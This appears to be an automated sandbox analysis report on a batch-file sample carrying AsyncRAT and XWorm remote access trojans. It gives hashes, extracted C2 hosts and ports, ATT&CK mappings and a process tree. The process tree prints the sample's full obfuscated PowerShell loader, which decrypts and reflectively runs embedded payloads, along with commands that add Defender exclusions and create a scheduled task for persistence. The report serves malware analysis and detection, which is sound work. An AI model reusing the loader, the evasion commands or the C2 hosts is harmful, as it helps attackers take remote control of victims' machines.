asyncrat | bb484dd134c649c660dbde9ceb4fe1fbac7e65fb934d8a9c288c1e86d1b189f4

Reason

Machine shutdown

General

Target

install.bat
Size

192KB
MD5

a94e4dec22b09ea37e33fdfa3638e5de
SHA1

f90c1ea98c741bc63a3260721d1974962b9241ce
SHA256

bb484dd134c649c660dbde9ceb4fe1fbac7e65fb934d8a9c288c1e86d1b189f4
SHA512

a747324043860c06f28d4d7880a1df9f2bfbc6563fd42dffa76f3425a123aeb9bef29a4706dd11851f25c58acbf0c2fdfed775d68e9cb888b88a77ff2c0c6e0b
SSDEEP

3072:GTv0B0ylSYSg4xt9mYNjvI6L41JOELI7m5Y+fk3T0dcZAIG0+BWtOy15c:Q0iyQC4xt4Y26c1kEU7uBuWMAISA5c

Score

10^/10

asyncrat xworm default execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

unique-emotions.gl.at.ply.gg:54742

wiz.bounceme.net:6000

Attributes

Install_directory
%AppData%
install_file
USB.exe

aes.plain

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

card-buzz.gl.at.ply.gg:2497

Mutex

rotrzgmheqhT

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/4992-25-0x0000000007110000-0x000000000713C000-memory.dmp	family_xworm
behavioral1/files/0x0008000000023506-31.dat	family_xworm
behavioral1/memory/1104-39-0x0000000000B50000-0x0000000000B66000-memory.dmp	family_xworm
behavioral1/memory/1104-85-0x000000001DAB0000-0x000000001DABE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral1/memory/4992-28-0x00000000070C0000-0x00000000070D2000-memory.dmp	family_asyncrat
behavioral1/memory/1104-95-0x000000001B760000-0x000000001B772000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
26	4992	powershell.exe
36	4992	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4992	powershell.exe
4700	powershell.exe
3252	powershell.exe
2292	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	Update.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.lnk	Update.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.lnk	Update.exe

Executes dropped EXE 2 IoCs

pid	Process
1104	Update.exe
3468	Update.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update = "C:\\Users\\Admin\\AppData\\Roaming\\Update.exe"	Update.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4956	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4992	powershell.exe
4992	powershell.exe
4700	powershell.exe
4700	powershell.exe
3252	powershell.exe
3252	powershell.exe
2292	powershell.exe
2292	powershell.exe
1104	Update.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	1104	Update.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	1104	Update.exe
Token: SeDebugPrivilege	3468	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1104	Update.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2960 wrote to memory of 2208	2960	cmd.exe	88
PID 2960 wrote to memory of 2208	2960	cmd.exe	88
PID 2960 wrote to memory of 4992	2960	cmd.exe	89
PID 2960 wrote to memory of 4992	2960	cmd.exe	89
PID 2960 wrote to memory of 4992	2960	cmd.exe	89
PID 4992 wrote to memory of 1104	4992	powershell.exe	95
PID 4992 wrote to memory of 1104	4992	powershell.exe	95
PID 1104 wrote to memory of 4700	1104	Update.exe	96
PID 1104 wrote to memory of 4700	1104	Update.exe	96
PID 1104 wrote to memory of 3252	1104	Update.exe	99
PID 1104 wrote to memory of 3252	1104	Update.exe	99
PID 1104 wrote to memory of 2292	1104	Update.exe	101
PID 1104 wrote to memory of 2292	1104	Update.exe	101
PID 1104 wrote to memory of 4956	1104	Update.exe	103
PID 1104 wrote to memory of 4956	1104	Update.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\install.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rP6ipY8ykCrcY/vqOWugxQ2mrpqqQx5JkOzMlDOKmOA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GH3abWd9uo3DMEDckKzwyw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BZojv=New-Object System.IO.MemoryStream(,$param_var); $jqKwU=New-Object System.IO.MemoryStream; $YBFLc=New-Object System.IO.Compression.GZipStream($BZojv, [IO.Compression.CompressionMode]::Decompress); $YBFLc.CopyTo($jqKwU); $YBFLc.Dispose(); $BZojv.Dispose(); $jqKwU.Dispose(); $jqKwU.ToArray();}function execute_function($param_var,$param2_var){ $HnXah=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ASDSB=$HnXah.EntryPoint; $ASDSB.Invoke($null, $param2_var);}$HxmrU = 'C:\Users\Admin\AppData\Local\Temp\install.bat';$host.UI.RawUI.WindowTitle = $HxmrU;$YminX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HxmrU).Split([Environment]::NewLine);foreach ($LBczd in $YminX) { if ($LBczd.StartsWith('zyIAYTpLJuqqlwNwSYZB')) { $nGVNd=$LBczd.Substring(20); break; }}$payloads_var=[string[]]$nGVNd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2208
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4992
- - C:\Users\Admin\AppData\Local\Temp\Update.exe
    "C:\Users\Admin\AppData\Local\Temp\Update.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Update.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Update.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Update.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2292
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Update" /tr "C:\Users\Admin\AppData\Roaming\Update.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4956

C:\Users\Admin\AppData\Roaming\Update.exe
C:\Users\Admin\AppData\Roaming\Update.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Update.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
217d9191dfd67252cef23229676c9eda

SHA1
80d940b01c28e3933b9d68b3e567adc2bac1289f

SHA256
e64811c3e57476bb644539824034cabe2cabcb88941122193e2af328f5eb2133

SHA512
86767aa3c0eec425b7c6dbfd70a4a334fb5b1227c05fb06fbb3845e7b6974008386276f441c8e66e2bf9b0ae0a76133c4e5602211788cd702eaeadd12c5ff757

Download Submit
C:\Users\Admin\AppData\Local\Temp\Update.exe

Filesize
59KB

MD5
07ac8571846ca0cc9f6fcdbe1d000be2

SHA1
3cbe16f7d24d40b590f97b1999c64c5bb889e8c6

SHA256
2a3bcea7cadf94c65d4462b2297285078f5232e84267dfa641cb23475ffdb1b5

SHA512
56413d14e5ee2e615c19232d93047c9d2cc422e083eda0f9f5ae1dc04798989e73d5ad80e06a7dda166deb0177206fb1ed045773bba3975667c12409d67d1e7e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ecghvhzb.22j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1104-40-0x00007FFE3D433000-0x00007FFE3D435000-memory.dmp

Filesize
8KB

Download
memory/1104-95-0x000000001B760000-0x000000001B772000-memory.dmp

Filesize
72KB

Download
memory/1104-94-0x00007FFE3D430000-0x00007FFE3DEF1000-memory.dmp

Filesize
10.8MB

Download
memory/1104-93-0x00007FFE3D433000-0x00007FFE3D435000-memory.dmp

Filesize
8KB

Download
memory/1104-85-0x000000001DAB0000-0x000000001DABE000-memory.dmp

Filesize
56KB

Download
memory/1104-84-0x00007FFE3D430000-0x00007FFE3DEF1000-memory.dmp

Filesize
10.8MB

Download
memory/1104-39-0x0000000000B50000-0x0000000000B66000-memory.dmp

Filesize
88KB

Download
memory/4700-41-0x000001B3789E0000-0x000001B378A02000-memory.dmp

Filesize
136KB

Download
memory/4992-20-0x0000000006D60000-0x0000000006DA4000-memory.dmp

Filesize
272KB

Download
memory/4992-2-0x0000000074F60000-0x0000000075710000-memory.dmp

Filesize
7.7MB

Download
memory/4992-23-0x0000000006F90000-0x0000000006FAA000-memory.dmp

Filesize
104KB

Download
memory/4992-24-0x00000000070A0000-0x00000000070A8000-memory.dmp

Filesize
32KB

Download
memory/4992-25-0x0000000007110000-0x000000000713C000-memory.dmp

Filesize
176KB

Download
memory/4992-28-0x00000000070C0000-0x00000000070D2000-memory.dmp

Filesize
72KB

Download
memory/4992-4-0x0000000074F60000-0x0000000075710000-memory.dmp

Filesize
7.7MB

Download
memory/4992-21-0x0000000006EF0000-0x0000000006F66000-memory.dmp

Filesize
472KB

Download
memory/4992-5-0x0000000004BA0000-0x0000000004BC2000-memory.dmp

Filesize
136KB

Download
memory/4992-19-0x0000000005C30000-0x0000000005C7C000-memory.dmp

Filesize
304KB

Download
memory/4992-3-0x0000000004DE0000-0x0000000005408000-memory.dmp

Filesize
6.2MB

Download
memory/4992-22-0x00000000075F0000-0x0000000007C6A000-memory.dmp

Filesize
6.5MB

Download
memory/4992-18-0x0000000005BF0000-0x0000000005C0E000-memory.dmp

Filesize
120KB

Download
memory/4992-13-0x0000000005560000-0x00000000058B4000-memory.dmp

Filesize
3.3MB

Download
memory/4992-86-0x0000000074F6E000-0x0000000074F6F000-memory.dmp

Filesize
4KB

Download
memory/4992-88-0x0000000074F60000-0x0000000075710000-memory.dmp

Filesize
7.7MB

Download
memory/4992-91-0x0000000074F60000-0x0000000075710000-memory.dmp

Filesize
7.7MB

Download
memory/4992-0-0x0000000074F6E000-0x0000000074F6F000-memory.dmp

Filesize
4KB

Download
memory/4992-7-0x00000000054F0000-0x0000000005556000-memory.dmp

Filesize
408KB

Download
memory/4992-6-0x0000000005480000-0x00000000054E6000-memory.dmp

Filesize
408KB

Download
memory/4992-1-0x0000000002690000-0x00000000026C6000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads